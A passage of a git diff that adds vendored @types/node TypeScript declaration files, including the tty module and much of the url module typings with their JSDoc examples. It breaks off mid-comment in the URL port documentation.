b/node_modules/@types/node/ts5.6/globals.typedarray.d.ts new file mode 100644 index 000000000000..0e4633b951b1 --- /dev/null +++ b/node_modules/@types/node/ts5.6/globals.typedarray.d.ts @@ -0,0 +1,19 @@ +export {}; // Make this a module + +declare global { + namespace NodeJS { + type TypedArray = + | Uint8Array + | Uint8ClampedArray + | Uint16Array + | Uint32Array + | Int8Array + | Int16Array + | Int32Array + | BigUint64Array + | BigInt64Array + | Float32Array + | Float64Array; + type ArrayBufferView = TypedArray | DataView; + } +} diff --git a/node_modules/@types/node/ts5.6/index.d.ts b/node_modules/@types/node/ts5.6/index.d.ts new file mode 100644 index 000000000000..6fed96ea9522 --- /dev/null +++ b/node_modules/@types/node/ts5.6/index.d.ts @@ -0,0 +1,94 @@ +/** + * License for programmatically and manually incorporated + * documentation aka. `JSDoc` from https://github.com/nodejs/node/tree/master/doc + * + * Copyright Node.js contributors. All rights reserved. + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to + * deal in the Software without restriction, including without limitation the + * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or + * sell copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS + * IN THE SOFTWARE. + */ + +// NOTE: These definitions support NodeJS and TypeScript 4.9 through 5.6. + +// Reference required types from the default lib: +/// +/// +/// +/// + +// Definitions specific to TypeScript 4.9 through 5.6 +/// +/// + +// Base definitions for all NodeJS modules that are not specific to any version of TypeScript: +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// + +/// diff --git a/node_modules/@types/node/tty.d.ts b/node_modules/@types/node/tty.d.ts new file mode 100644 index 000000000000..f5679466ff17 --- /dev/null +++ b/node_modules/@types/node/tty.d.ts @@ -0,0 +1,208 @@ +/** + * The `node:tty` module provides the `tty.ReadStream` and `tty.WriteStream` classes. In most cases, it will not be necessary or possible to use this module + * directly. However, it can be accessed using: + * + * ```js + * import tty from 'node:tty'; + * ``` + * + * When Node.js detects that it is being run with a text terminal ("TTY") + * attached, `process.stdin` will, by default, be initialized as an instance of `tty.ReadStream` and both `process.stdout` and `process.stderr` will, by + * default, be instances of `tty.WriteStream`. The preferred method of determining + * whether Node.js is being run within a TTY context is to check that the value of + * the `process.stdout.isTTY` property is `true`: + * + * ```console + * $ node -p -e "Boolean(process.stdout.isTTY)" + * true + * $ node -p -e "Boolean(process.stdout.isTTY)" | cat + * false + * ``` + * + * In most cases, there should be little to no reason for an application to + * manually create instances of the `tty.ReadStream` and `tty.WriteStream` classes. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/tty.js) + */ +declare module "tty" { + import * as net from "node:net"; + /** + * The `tty.isatty()` method returns `true` if the given `fd` is associated with + * a TTY and `false` if it is not, including whenever `fd` is not a non-negative + * integer. + * @since v0.5.8 + * @param fd A numeric file descriptor + */ + function isatty(fd: number): boolean; + /** + * Represents the readable side of a TTY. In normal circumstances `process.stdin` will be the only `tty.ReadStream` instance in a Node.js + * process and there should be no reason to create additional instances. + * @since v0.5.8 + */ + class ReadStream extends net.Socket { + constructor(fd: number, options?: net.SocketConstructorOpts); + /** + * A `boolean` that is `true` if the TTY is currently configured to operate as a + * raw device. + * + * This flag is always `false` when a process starts, even if the terminal is + * operating in raw mode. Its value will change with subsequent calls to `setRawMode`. + * @since v0.7.7 + */ + isRaw: boolean; + /** + * Allows configuration of `tty.ReadStream` so that it operates as a raw device. + * + * When in raw mode, input is always available character-by-character, not + * including modifiers. Additionally, all special processing of characters by the + * terminal is disabled, including echoing input + * characters. Ctrl+C will no longer cause a `SIGINT` when + * in this mode. + * @since v0.7.7 + * @param mode If `true`, configures the `tty.ReadStream` to operate as a raw device. If `false`, configures the `tty.ReadStream` to operate in its default mode. The `readStream.isRaw` + * property will be set to the resulting mode. + * @return The read stream instance. + */ + setRawMode(mode: boolean): this; + /** + * A `boolean` that is always `true` for `tty.ReadStream` instances. + * @since v0.5.8 + */ + isTTY: boolean; + } + /** + * -1 - to the left from cursor + * 0 - the entire line + * 1 - to the right from cursor + */ + type Direction = -1 | 0 | 1; + /** + * Represents the writable side of a TTY. In normal circumstances, `process.stdout` and `process.stderr` will be the only`tty.WriteStream` instances created for a Node.js process and there + * should be no reason to create additional instances. + * @since v0.5.8 + */ + class WriteStream extends net.Socket { + constructor(fd: number); + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "resize", listener: () => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "resize"): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "resize", listener: () => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "resize", listener: () => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "resize", listener: () => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "resize", listener: () => void): this; + /** + * `writeStream.clearLine()` clears the current line of this `WriteStream` in a + * direction identified by `dir`. + * @since v0.7.7 + * @param callback Invoked once the operation completes. + * @return `false` if the stream wishes for the calling code to wait for the `'drain'` event to be emitted before continuing to write additional data; otherwise `true`. + */ + clearLine(dir: Direction, callback?: () => void): boolean; + /** + * `writeStream.clearScreenDown()` clears this `WriteStream` from the current + * cursor down. + * @since v0.7.7 + * @param callback Invoked once the operation completes. + * @return `false` if the stream wishes for the calling code to wait for the `'drain'` event to be emitted before continuing to write additional data; otherwise `true`. + */ + clearScreenDown(callback?: () => void): boolean; + /** + * `writeStream.cursorTo()` moves this `WriteStream`'s cursor to the specified + * position. + * @since v0.7.7 + * @param callback Invoked once the operation completes. + * @return `false` if the stream wishes for the calling code to wait for the `'drain'` event to be emitted before continuing to write additional data; otherwise `true`. + */ + cursorTo(x: number, y?: number, callback?: () => void): boolean; + cursorTo(x: number, callback: () => void): boolean; + /** + * `writeStream.moveCursor()` moves this `WriteStream`'s cursor _relative_ to its + * current position. + * @since v0.7.7 + * @param callback Invoked once the operation completes. + * @return `false` if the stream wishes for the calling code to wait for the `'drain'` event to be emitted before continuing to write additional data; otherwise `true`. + */ + moveCursor(dx: number, dy: number, callback?: () => void): boolean; + /** + * Returns: + * + * * `1` for 2, + * * `4` for 16, + * * `8` for 256, + * * `24` for 16,777,216 colors supported. + * + * Use this to determine what colors the terminal supports. Due to the nature of + * colors in terminals it is possible to either have false positives or false + * negatives. It depends on process information and the environment variables that + * may lie about what terminal is used. + * It is possible to pass in an `env` object to simulate the usage of a specific + * terminal. This can be useful to check how specific environment settings behave. + * + * To enforce a specific color support, use one of the below environment settings. + * + * * 2 colors: `FORCE_COLOR = 0` (Disables colors) + * * 16 colors: `FORCE_COLOR = 1` + * * 256 colors: `FORCE_COLOR = 2` + * * 16,777,216 colors: `FORCE_COLOR = 3` + * + * Disabling color support is also possible by using the `NO_COLOR` and `NODE_DISABLE_COLORS` environment variables. + * @since v9.9.0 + * @param [env=process.env] An object containing the environment variables to check. This enables simulating the usage of a specific terminal. + */ + getColorDepth(env?: object): number; + /** + * Returns `true` if the `writeStream` supports at least as many colors as provided + * in `count`. Minimum support is 2 (black and white). + * + * This has the same false positives and negatives as described in `writeStream.getColorDepth()`. + * + * ```js + * process.stdout.hasColors(); + * // Returns true or false depending on if `stdout` supports at least 16 colors. + * process.stdout.hasColors(256); + * // Returns true or false depending on if `stdout` supports at least 256 colors. + * process.stdout.hasColors({ TMUX: '1' }); + * // Returns true. + * process.stdout.hasColors(2 ** 24, { TMUX: '1' }); + * // Returns false (the environment setting pretends to support 2 ** 8 colors). + * ``` + * @since v11.13.0, v10.16.0 + * @param [count=16] The number of colors that are requested (minimum 2). + * @param [env=process.env] An object containing the environment variables to check. This enables simulating the usage of a specific terminal. + */ + hasColors(count?: number): boolean; + hasColors(env?: object): boolean; + hasColors(count: number, env?: object): boolean; + /** + * `writeStream.getWindowSize()` returns the size of the TTY + * corresponding to this `WriteStream`. The array is of the type `[numColumns, numRows]` where `numColumns` and `numRows` represent the number + * of columns and rows in the corresponding TTY. + * @since v0.7.7 + */ + getWindowSize(): [number, number]; + /** + * A `number` specifying the number of columns the TTY currently has. This property + * is updated whenever the `'resize'` event is emitted. + * @since v0.7.7 + */ + columns: number; + /** + * A `number` specifying the number of rows the TTY currently has. This property + * is updated whenever the `'resize'` event is emitted. + * @since v0.7.7 + */ + rows: number; + /** + * A `boolean` that is always `true`. + * @since v0.5.8 + */ + isTTY: boolean; + } +} +declare module "node:tty" { + export * from "tty"; +} diff --git a/node_modules/@types/node/url.d.ts b/node_modules/@types/node/url.d.ts new file mode 100644 index 000000000000..139af6d0ea3a --- /dev/null +++ b/node_modules/@types/node/url.d.ts @@ -0,0 +1,969 @@ +/** + * The `node:url` module provides utilities for URL resolution and parsing. It can + * be accessed using: + * + * ```js + * import url from 'node:url'; + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/url.js) + */ +declare module "url" { + import { Blob as NodeBlob } from "node:buffer"; + import { ClientRequestArgs } from "node:http"; + import { ParsedUrlQuery, ParsedUrlQueryInput } from "node:querystring"; + // Input to `url.format` + interface UrlObject { + auth?: string | null | undefined; + hash?: string | null | undefined; + host?: string | null | undefined; + hostname?: string | null | undefined; + href?: string | null | undefined; + pathname?: string | null | undefined; + protocol?: string | null | undefined; + search?: string | null | undefined; + slashes?: boolean | null | undefined; + port?: string | number | null | undefined; + query?: string | null | ParsedUrlQueryInput | undefined; + } + // Output of `url.parse` + interface Url { + auth: string | null; + hash: string | null; + host: string | null; + hostname: string | null; + href: string; + path: string | null; + pathname: string | null; + protocol: string | null; + search: string | null; + slashes: boolean | null; + port: string | null; + query: string | null | ParsedUrlQuery; + } + interface UrlWithParsedQuery extends Url { + query: ParsedUrlQuery; + } + interface UrlWithStringQuery extends Url { + query: string | null; + } + interface FileUrlToPathOptions { + /** + * `true` if the `path` should be return as a windows filepath, `false` for posix, and `undefined` for the system default. + * @default undefined + * @since v22.1.0 + */ + windows?: boolean | undefined; + } + interface PathToFileUrlOptions { + /** + * `true` if the `path` should be return as a windows filepath, `false` for posix, and `undefined` for the system default. + * @default undefined + * @since v22.1.0 + */ + windows?: boolean | undefined; + } + /** + * The `url.parse()` method takes a URL string, parses it, and returns a URL + * object. + * + * A `TypeError` is thrown if `urlString` is not a string. + * + * A `URIError` is thrown if the `auth` property is present but cannot be decoded. + * + * `url.parse()` uses a lenient, non-standard algorithm for parsing URL + * strings. It is prone to security issues such as [host name spoofing](https://hackerone.com/reports/678487) and incorrect handling of usernames and passwords. Do not use with untrusted + * input. CVEs are not issued for `url.parse()` vulnerabilities. Use the `WHATWG URL` API instead. + * @since v0.1.25 + * @deprecated Use the WHATWG URL API instead. + * @param urlString The URL string to parse. + * @param [parseQueryString=false] If `true`, the `query` property will always be set to an object returned by the {@link querystring} module's `parse()` method. If `false`, the `query` property + * on the returned URL object will be an unparsed, undecoded string. + * @param [slashesDenoteHost=false] If `true`, the first token after the literal string `//` and preceding the next `/` will be interpreted as the `host`. For instance, given `//foo/bar`, the + * result would be `{host: 'foo', pathname: '/bar'}` rather than `{pathname: '//foo/bar'}`. + */ + function parse(urlString: string): UrlWithStringQuery; + function parse( + urlString: string, + parseQueryString: false | undefined, + slashesDenoteHost?: boolean, + ): UrlWithStringQuery; + function parse(urlString: string, parseQueryString: true, slashesDenoteHost?: boolean): UrlWithParsedQuery; + function parse(urlString: string, parseQueryString: boolean, slashesDenoteHost?: boolean): Url; + /** + * The `url.format()` method returns a formatted URL string derived from `urlObject`. + * + * ```js + * import url from 'node:url'; + * url.format({ + * protocol: 'https', + * hostname: 'example.com', + * pathname: '/some/path', + * query: { + * page: 1, + * format: 'json', + * }, + * }); + * + * // => 'https://example.com/some/path?page=1&format=json' + * ``` + * + * If `urlObject` is not an object or a string, `url.format()` will throw a `TypeError`. + * + * The formatting process operates as follows: + * + * * A new empty string `result` is created. + * * If `urlObject.protocol` is a string, it is appended as-is to `result`. + * * Otherwise, if `urlObject.protocol` is not `undefined` and is not a string, an `Error` is thrown. + * * For all string values of `urlObject.protocol` that _do not end_ with an ASCII + * colon (`:`) character, the literal string `:` will be appended to `result`. + * * If either of the following conditions is true, then the literal string `//` will be appended to `result`: + * * `urlObject.slashes` property is true; + * * `urlObject.protocol` begins with `http`, `https`, `ftp`, `gopher`, or `file`; + * * If the value of the `urlObject.auth` property is truthy, and either `urlObject.host` or `urlObject.hostname` are not `undefined`, the value of `urlObject.auth` will be coerced into a string + * and appended to `result` followed by the literal string `@`. + * * If the `urlObject.host` property is `undefined` then: + * * If the `urlObject.hostname` is a string, it is appended to `result`. + * * Otherwise, if `urlObject.hostname` is not `undefined` and is not a string, + * an `Error` is thrown. + * * If the `urlObject.port` property value is truthy, and `urlObject.hostname` is not `undefined`: + * * The literal string `:` is appended to `result`, and + * * The value of `urlObject.port` is coerced to a string and appended to `result`. + * * Otherwise, if the `urlObject.host` property value is truthy, the value of `urlObject.host` is coerced to a string and appended to `result`. + * * If the `urlObject.pathname` property is a string that is not an empty string: + * * If the `urlObject.pathname` _does not start_ with an ASCII forward slash + * (`/`), then the literal string `'/'` is appended to `result`. + * * The value of `urlObject.pathname` is appended to `result`. + * * Otherwise, if `urlObject.pathname` is not `undefined` and is not a string, an `Error` is thrown. + * * If the `urlObject.search` property is `undefined` and if the `urlObject.query`property is an `Object`, the literal string `?` is appended to `result` followed by the output of calling the + * `querystring` module's `stringify()` method passing the value of `urlObject.query`. + * * Otherwise, if `urlObject.search` is a string: + * * If the value of `urlObject.search` _does not start_ with the ASCII question + * mark (`?`) character, the literal string `?` is appended to `result`. + * * The value of `urlObject.search` is appended to `result`. + * * Otherwise, if `urlObject.search` is not `undefined` and is not a string, an `Error` is thrown. + * * If the `urlObject.hash` property is a string: + * * If the value of `urlObject.hash` _does not start_ with the ASCII hash (`#`) + * character, the literal string `#` is appended to `result`. + * * The value of `urlObject.hash` is appended to `result`. + * * Otherwise, if the `urlObject.hash` property is not `undefined` and is not a + * string, an `Error` is thrown. + * * `result` is returned. + * @since v0.1.25 + * @legacy Use the WHATWG URL API instead. + * @param urlObject A URL object (as returned by `url.parse()` or constructed otherwise). If a string, it is converted to an object by passing it to `url.parse()`. + */ + function format(urlObject: URL, options?: URLFormatOptions): string; + /** + * The `url.format()` method returns a formatted URL string derived from `urlObject`. + * + * ```js + * import url from 'node:url'; + * url.format({ + * protocol: 'https', + * hostname: 'example.com', + * pathname: '/some/path', + * query: { + * page: 1, + * format: 'json', + * }, + * }); + * + * // => 'https://example.com/some/path?page=1&format=json' + * ``` + * + * If `urlObject` is not an object or a string, `url.format()` will throw a `TypeError`. + * + * The formatting process operates as follows: + * + * * A new empty string `result` is created. + * * If `urlObject.protocol` is a string, it is appended as-is to `result`. + * * Otherwise, if `urlObject.protocol` is not `undefined` and is not a string, an `Error` is thrown. + * * For all string values of `urlObject.protocol` that _do not end_ with an ASCII + * colon (`:`) character, the literal string `:` will be appended to `result`. + * * If either of the following conditions is true, then the literal string `//` will be appended to `result`: + * * `urlObject.slashes` property is true; + * * `urlObject.protocol` begins with `http`, `https`, `ftp`, `gopher`, or `file`; + * * If the value of the `urlObject.auth` property is truthy, and either `urlObject.host` or `urlObject.hostname` are not `undefined`, the value of `urlObject.auth` will be coerced into a string + * and appended to `result` followed by the literal string `@`. + * * If the `urlObject.host` property is `undefined` then: + * * If the `urlObject.hostname` is a string, it is appended to `result`. + * * Otherwise, if `urlObject.hostname` is not `undefined` and is not a string, + * an `Error` is thrown. + * * If the `urlObject.port` property value is truthy, and `urlObject.hostname` is not `undefined`: + * * The literal string `:` is appended to `result`, and + * * The value of `urlObject.port` is coerced to a string and appended to `result`. + * * Otherwise, if the `urlObject.host` property value is truthy, the value of `urlObject.host` is coerced to a string and appended to `result`. + * * If the `urlObject.pathname` property is a string that is not an empty string: + * * If the `urlObject.pathname` _does not start_ with an ASCII forward slash + * (`/`), then the literal string `'/'` is appended to `result`. + * * The value of `urlObject.pathname` is appended to `result`. + * * Otherwise, if `urlObject.pathname` is not `undefined` and is not a string, an `Error` is thrown. + * * If the `urlObject.search` property is `undefined` and if the `urlObject.query`property is an `Object`, the literal string `?` is appended to `result` followed by the output of calling the + * `querystring` module's `stringify()` method passing the value of `urlObject.query`. + * * Otherwise, if `urlObject.search` is a string: + * * If the value of `urlObject.search` _does not start_ with the ASCII question + * mark (`?`) character, the literal string `?` is appended to `result`. + * * The value of `urlObject.search` is appended to `result`. + * * Otherwise, if `urlObject.search` is not `undefined` and is not a string, an `Error` is thrown. + * * If the `urlObject.hash` property is a string: + * * If the value of `urlObject.hash` _does not start_ with the ASCII hash (`#`) + * character, the literal string `#` is appended to `result`. + * * The value of `urlObject.hash` is appended to `result`. + * * Otherwise, if the `urlObject.hash` property is not `undefined` and is not a + * string, an `Error` is thrown. + * * `result` is returned. + * @since v0.1.25 + * @legacy Use the WHATWG URL API instead. + * @param urlObject A URL object (as returned by `url.parse()` or constructed otherwise). If a string, it is converted to an object by passing it to `url.parse()`. + */ + function format(urlObject: UrlObject | string): string; + /** + * The `url.resolve()` method resolves a target URL relative to a base URL in a + * manner similar to that of a web browser resolving an anchor tag. + * + * ```js + * import url from 'node:url'; + * url.resolve('/one/two/three', 'four'); // '/one/two/four' + * url.resolve('http://example.com/', '/one'); // 'http://example.com/one' + * url.resolve('http://example.com/one', '/two'); // 'http://example.com/two' + * ``` + * + * To achieve the same result using the WHATWG URL API: + * + * ```js + * function resolve(from, to) { + * const resolvedUrl = new URL(to, new URL(from, 'resolve://')); + * if (resolvedUrl.protocol === 'resolve:') { + * // `from` is a relative URL. + * const { pathname, search, hash } = resolvedUrl; + * return pathname + search + hash; + * } + * return resolvedUrl.toString(); + * } + * + * resolve('/one/two/three', 'four'); // '/one/two/four' + * resolve('http://example.com/', '/one'); // 'http://example.com/one' + * resolve('http://example.com/one', '/two'); // 'http://example.com/two' + * ``` + * @since v0.1.25 + * @legacy Use the WHATWG URL API instead. + * @param from The base URL to use if `to` is a relative URL. + * @param to The target URL to resolve. + */ + function resolve(from: string, to: string): string; + /** + * Returns the [Punycode](https://tools.ietf.org/html/rfc5891#section-4.4) ASCII serialization of the `domain`. If `domain` is an + * invalid domain, the empty string is returned. + * + * It performs the inverse operation to {@link domainToUnicode}. + * + * ```js + * import url from 'node:url'; + * + * console.log(url.domainToASCII('español.com')); + * // Prints xn--espaol-zwa.com + * console.log(url.domainToASCII('中文.com')); + * // Prints xn--fiq228c.com + * console.log(url.domainToASCII('xn--iñvalid.com')); + * // Prints an empty string + * ``` + * @since v7.4.0, v6.13.0 + */ + function domainToASCII(domain: string): string; + /** + * Returns the Unicode serialization of the `domain`. If `domain` is an invalid + * domain, the empty string is returned. + * + * It performs the inverse operation to {@link domainToASCII}. + * + * ```js + * import url from 'node:url'; + * + * console.log(url.domainToUnicode('xn--espaol-zwa.com')); + * // Prints español.com + * console.log(url.domainToUnicode('xn--fiq228c.com')); + * // Prints 中文.com + * console.log(url.domainToUnicode('xn--iñvalid.com')); + * // Prints an empty string + * ``` + * @since v7.4.0, v6.13.0 + */ + function domainToUnicode(domain: string): string; + /** + * This function ensures the correct decodings of percent-encoded characters as + * well as ensuring a cross-platform valid absolute path string. + * + * ```js + * import { fileURLToPath } from 'node:url'; + * + * const __filename = fileURLToPath(import.meta.url); + * + * new URL('file:///C:/path/').pathname; // Incorrect: /C:/path/ + * fileURLToPath('file:///C:/path/'); // Correct: C:\path\ (Windows) + * + * new URL('file://nas/foo.txt').pathname; // Incorrect: /foo.txt + * fileURLToPath('file://nas/foo.txt'); // Correct: \\nas\foo.txt (Windows) + * + * new URL('file:///你好.txt').pathname; // Incorrect: /%E4%BD%A0%E5%A5%BD.txt + * fileURLToPath('file:///你好.txt'); // Correct: /你好.txt (POSIX) + * + * new URL('file:///hello world').pathname; // Incorrect: /hello%20world + * fileURLToPath('file:///hello world'); // Correct: /hello world (POSIX) + * ``` + * @since v10.12.0 + * @param url The file URL string or URL object to convert to a path. + * @return The fully-resolved platform-specific Node.js file path. + */ + function fileURLToPath(url: string | URL, options?: FileUrlToPathOptions): string; + /** + * This function ensures that `path` is resolved absolutely, and that the URL + * control characters are correctly encoded when converting into a File URL. + * + * ```js + * import { pathToFileURL } from 'node:url'; + * + * new URL('/foo#1', 'file:'); // Incorrect: file:///foo#1 + * pathToFileURL('/foo#1'); // Correct: file:///foo%231 (POSIX) + * + * new URL('/some/path%.c', 'file:'); // Incorrect: file:///some/path%.c + * pathToFileURL('/some/path%.c'); // Correct: file:///some/path%25.c (POSIX) + * ``` + * @since v10.12.0 + * @param path The path to convert to a File URL. + * @return The file URL object. + */ + function pathToFileURL(path: string, options?: PathToFileUrlOptions): URL; + /** + * This utility function converts a URL object into an ordinary options object as + * expected by the `http.request()` and `https.request()` APIs. + * + * ```js + * import { urlToHttpOptions } from 'node:url'; + * const myURL = new URL('https://a:b@測試?abc#foo'); + * + * console.log(urlToHttpOptions(myURL)); + * /* + * { + * protocol: 'https:', + * hostname: 'xn--g6w251d', + * hash: '#foo', + * search: '?abc', + * pathname: '/', + * path: '/?abc', + * href: 'https://a:b@xn--g6w251d/?abc#foo', + * auth: 'a:b' + * } + * + * ``` + * @since v15.7.0, v14.18.0 + * @param url The `WHATWG URL` object to convert to an options object. + * @return Options object + */ + function urlToHttpOptions(url: URL): ClientRequestArgs; + interface URLFormatOptions { + /** + * `true` if the serialized URL string should include the username and password, `false` otherwise. + * @default true + */ + auth?: boolean | undefined; + /** + * `true` if the serialized URL string should include the fragment, `false` otherwise. + * @default true + */ + fragment?: boolean | undefined; + /** + * `true` if the serialized URL string should include the search query, `false` otherwise. + * @default true + */ + search?: boolean | undefined; + /** + * `true` if Unicode characters appearing in the host component of the URL string should be encoded directly as opposed to + * being Punycode encoded. + * @default false + */ + unicode?: boolean | undefined; + } + /** + * Browser-compatible `URL` class, implemented by following the WHATWG URL + * Standard. [Examples of parsed URLs](https://url.spec.whatwg.org/#example-url-parsing) may be found in the Standard itself. + * The `URL` class is also available on the global object. + * + * In accordance with browser conventions, all properties of `URL` objects + * are implemented as getters and setters on the class prototype, rather than as + * data properties on the object itself. Thus, unlike `legacy urlObject`s, + * using the `delete` keyword on any properties of `URL` objects (e.g. `delete myURL.protocol`, `delete myURL.pathname`, etc) has no effect but will still + * return `true`. + * @since v7.0.0, v6.13.0 + */ + class URL { + /** + * Creates a `'blob:nodedata:...'` URL string that represents the given `Blob` object and can be used to retrieve the `Blob` later. + * + * ```js + * import { + * Blob, + * resolveObjectURL, + * } from 'node:buffer'; + * + * const blob = new Blob(['hello']); + * const id = URL.createObjectURL(blob); + * + * // later... + * + * const otherBlob = resolveObjectURL(id); + * console.log(otherBlob.size); + * ``` + * + * The data stored by the registered `Blob` will be retained in memory until `URL.revokeObjectURL()` is called to remove it. + * + * `Blob` objects are registered within the current thread. If using Worker + * Threads, `Blob` objects registered within one Worker will not be available + * to other workers or the main thread. + * @since v16.7.0 + * @experimental + */ + static createObjectURL(blob: NodeBlob): string; + /** + * Removes the stored `Blob` identified by the given ID. Attempting to revoke a + * ID that isn't registered will silently fail. + * @since v16.7.0 + * @experimental + * @param id A `'blob:nodedata:...` URL string returned by a prior call to `URL.createObjectURL()`. + */ + static revokeObjectURL(id: string): void; + /** + * Checks if an `input` relative to the `base` can be parsed to a `URL`. + * + * ```js + * const isValid = URL.canParse('/foo', 'https://example.org/'); // true + * + * const isNotValid = URL.canParse('/foo'); // false + * ``` + * @since v19.9.0 + * @param input The absolute or relative input URL to parse. If `input` is relative, then `base` is required. If `input` is absolute, the `base` is ignored. If `input` is not a string, it is + * `converted to a string` first. + * @param base The base URL to resolve against if the `input` is not absolute. If `base` is not a string, it is `converted to a string` first. + */ + static canParse(input: string, base?: string): boolean; + /** + * Parses a string as a URL. If `base` is provided, it will be used as the base URL for the purpose of resolving non-absolute `input` URLs. + * Returns `null` if `input` is not a valid. + * @param input The absolute or relative input URL to parse. If `input` is relative, then `base` is required. If `input` is absolute, the `base` is ignored. If `input` is not a string, it is + * `converted to a string` first. + * @param base The base URL to resolve against if the `input` is not absolute. If `base` is not a string, it is `converted to a string` first. + * @since v22.1.0 + */ + static parse(input: string, base?: string): URL | null; + constructor(input: string | { toString: () => string }, base?: string | URL); + /** + * Gets and sets the fragment portion of the URL. + * + * ```js + * const myURL = new URL('https://example.org/foo#bar'); + * console.log(myURL.hash); + * // Prints #bar + * + * myURL.hash = 'baz'; + * console.log(myURL.href); + * // Prints https://example.org/foo#baz + * ``` + * + * Invalid URL characters included in the value assigned to the `hash` property + * are `percent-encoded`. The selection of which characters to + * percent-encode may vary somewhat from what the {@link parse} and {@link format} methods would produce. + */ + hash: string; + /** + * Gets and sets the host portion of the URL. + * + * ```js + * const myURL = new URL('https://example.org:81/foo'); + * console.log(myURL.host); + * // Prints example.org:81 + * + * myURL.host = 'example.com:82'; + * console.log(myURL.href); + * // Prints https://example.com:82/foo + * ``` + * + * Invalid host values assigned to the `host` property are ignored. + */ + host: string; + /** + * Gets and sets the host name portion of the URL. The key difference between`url.host` and `url.hostname` is that `url.hostname` does _not_ include the + * port. + * + * ```js + * const myURL = new URL('https://example.org:81/foo'); + * console.log(myURL.hostname); + * // Prints example.org + * + * // Setting the hostname does not change the port + * myURL.hostname = 'example.com'; + * console.log(myURL.href); + * // Prints https://example.com:81/foo + * + * // Use myURL.host to change the hostname and port + * myURL.host = 'example.org:82'; + * console.log(myURL.href); + * // Prints https://example.org:82/foo + * ``` + * + * Invalid host name values assigned to the `hostname` property are ignored. + */ + hostname: string; + /** + * Gets and sets the serialized URL. + * + * ```js + * const myURL = new URL('https://example.org/foo'); + * console.log(myURL.href); + * // Prints https://example.org/foo + * + * myURL.href = 'https://example.com/bar'; + * console.log(myURL.href); + * // Prints https://example.com/bar + * ``` + * + * Getting the value of the `href` property is equivalent to calling {@link toString}. + * + * Setting the value of this property to a new value is equivalent to creating a + * new `URL` object using `new URL(value)`. Each of the `URL` object's properties will be modified. + * + * If the value assigned to the `href` property is not a valid URL, a `TypeError` will be thrown. + */ + href: string; + /** + * Gets the read-only serialization of the URL's origin. + * + * ```js + * const myURL = new URL('https://example.org/foo/bar?baz'); + * console.log(myURL.origin); + * // Prints https://example.org + * ``` + * + * ```js + * const idnURL = new URL('https://測試'); + * console.log(idnURL.origin); + * // Prints https://xn--g6w251d + * + * console.log(idnURL.hostname); + * // Prints xn--g6w251d + * ``` + */ + readonly origin: string; + /** + * Gets and sets the password portion of the URL. + * + * ```js + * const myURL = new URL('https://abc:xyz@example.com'); + * console.log(myURL.password); + * // Prints xyz + * + * myURL.password = '123'; + * console.log(myURL.href); + * // Prints https://abc:123@example.com/ + * ``` + * + * Invalid URL characters included in the value assigned to the `password` property + * are `percent-encoded`. The selection of which characters to + * percent-encode may vary somewhat from what the {@link parse} and {@link format} methods would produce. + */ + password: string; + /** + * Gets and sets the path portion of the URL. + * + * ```js + * const myURL = new URL('https://example.org/abc/xyz?123'); + * console.log(myURL.pathname); + * // Prints /abc/xyz + * + * myURL.pathname = '/abcdef'; + * console.log(myURL.href); + * // Prints https://example.org/abcdef?123 + * ``` + * + * Invalid URL characters included in the value assigned to the `pathname` property are `percent-encoded`. The selection of which characters + * to percent-encode may vary somewhat from what the {@link parse} and {@link format} methods would produce. + */ + pathname: string; + /** + * Gets and sets the port portion of the URL. + * + * The port value may be a number or a string containing a number in the range `0` to `65535` (inclusive). Setting the value to the default port of the `URL` objects given `protocol` will + * result in the `port` value becoming + * the empty string (`''`). + * + * The port value can be an empty string in which case the port depends on + * the protocol/scheme: + * + * + * + * Upon assigning a value to the port, the value will first be converted to a + * string using `.toString()`. + * + * If that string is invalid but it begins with a number, the leading number is + * assigned to `port`. + * If the number lies outside the range denoted above, it is ignored. + * + * ```js + * const myURL = new URL('https://example.org:8888'); + * console.log(myURL.port); + * // Prints 8888 + * + * // Default ports are automatically transformed to the empty string + * // (HTTPS protocol's default port is 443) + * myURL.port = '443'; + * console.log(myURL.port); + * // Prints the empty string + * console.log(myURL.href); + * // Prints https://example.org/ + * + * myURL.port = 1234; + * console.log(myURL.port); + * // Prints 1234 + * console.log(myURL.href); + * // Prints https://example.org:1234/ + * + * // Completely invalid port strings are ignored + * myURL.port = 'abcd'; + * console.log(myURL.port); + * // Prints 1234 + * + * // Leading numbers are treated as a port number + * myURL.port = '5678abcd'; + * console.log(myURL.port); + * // Prints 5678 + * + * // Non-integers are truncated + * myURL.port = 1234.5678; + * console.log(myURL.port); + * // Prints 1234 + * + * // Out-of-range numbers which are not represented in scientific notation + * // will be ignored. + * myURL.port = 1e10; // 10000000000, will be range-checked as described below + * console.log(myURL.port); + * // Prints 1234 + * ``` + * + * Numbers which contain a decimal point, + * such as floating-point numbers or numbers in scientific notation, + * are not an exception to this rule. + * Leading numbers up to the decimal point will be set as the URL's port, + * assuming they are 